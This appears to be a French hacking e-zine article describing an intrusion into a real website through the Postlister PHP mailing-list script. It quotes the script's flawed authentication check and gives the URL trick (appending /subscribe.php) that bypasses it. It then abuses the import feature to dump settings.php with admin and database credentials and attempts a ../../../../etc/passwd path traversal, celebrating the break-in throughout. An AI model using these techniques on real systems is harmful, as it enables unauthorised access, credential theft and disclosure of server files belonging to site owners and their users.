Copy Link
Add to Bookmark
Report

7Sk1: Hack expliqué + Faille Script PHP Postlister Inédite !!!

eZine's profile picture
Published in 
Seven SYnKoP Mag
 · 2 years ago

Introduction

Bon bon bon encore reparti a l'attaque d'un site facho, lors de l'analyse du site une personne dont je ne me rappelle plus le nom (on va l'appeler Henri) m'a informé d'un script non référencé sur le site situé dans /mailing/subscribe.php en s'interrogeant sur le fait que la protection du dossier ressemble a une protection par .htaccess mais retient certains caractéristiques étrange (il s'agissait donc d'une protection par Authentification http formulée en php), l'identification du script fut simple : postlister un script de gestion de mailing liste ... let's go ! Analysons le script !


Analyse de postlister

Tout d'abord reperons la fonction qui nous demande de nous authentifier :

//-------------------------- functions.php 
...

require("settings.php");

...

if (basename($PHP_SELF) != "subscribe.php" && basename($PHP_SELF) != "confirm.php") {
if (!$PHP_AUTH_USER) {
header("WWW-Authenticate: Basic realm=\"Postlister\"");
header("HTTP/1.0 401 Unauthorized");
echo $s62;
exit;
}
else {
if ($PHP_AUTH_USER != $username || $PHP_AUTH_PW != $password) {
echo $s62;
exit;
}
}
}

...
//-------------------------- functions.php


hé bé, j'ai rarement vu une authentification aussi facile a déjouer. Si la base de l'url est subscribe.php ou confirm.php ya pas de problèmes ? Ben ok ça marche demandons la page index de cette manière :

/mailing/index.php/subscribe.php

Bingo ! ça marche on a la page index maintenant un autre aspect du script m'interresse ... La possibilité d'importer et d'exporter des fichiers contenant les adresse des newslists ... tout ça se passe en remote !!! ben là encore ça va pas être très compliqué on va aller sur cette page :

/mailing/import.php/subscribe.php
(hé oui toujours en contournant la protection)

Et on va demander a importer le fichier settings.php ... ça marche !!!

On a plus qu'a regarder la liste des adresse mails apartenant a notre liste et là hooooo quelle est bizare la liste :

//################################################################## 
<?php

# PLEASE EDIT THE FOLLOWING VARIABLES:
#

# Choose a language file:
$languageFile = "language files/french.php";

# Choose a username for the Postlister administrat
$username = "admin";

# Choose a password for the Postlister administrat
$password = "passwd";

# The host on which your database runs. Usually
# If you don't know what to write here, write
$databaseHost = "localhost"

# The name of your database:
$databaseName = "[BLABLABLA]";

# The username for your database:
$databaseUsername = "[BLABLABLA]";

# The password for your database:
$databasePassword = "[BLABLABLA]";

# Choose a name for the Postlister main database t
# The table will be created by Postlister.
# The name cannot include other characters than a-
# and 0-9. If you don't know what to write here,
# just write "postlistermain".
$mainTable = "postlistermain";

#
# THAT'S IT!
#
?>
//##################################################################


Ben on a les pass maintenant on peut jouer a l'admin en se faisant notre propre newslist haha ! (hum ... ouai)

On va maintenant tester l'importation de ../../../../../etc/passwd

Je rappelle qu'il faut d'abord créer : la table, si c pas déjà fait et une liste (quand même!)
La table se crée automatiquement grace au script "table.php" et pour la liste c'est indiqué. Meuh !

Vous pouvez aussi laisser vos messages sur le serveur en remplissant manuellement la liste et en l'exportant vers un fichier txt directement sur le serveur.


Conclusion

!!! w00w00 !!!

An-Mojeg [ an-mojeg@mail-developpeur.com ]

PS : thank you Henri ;-)

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT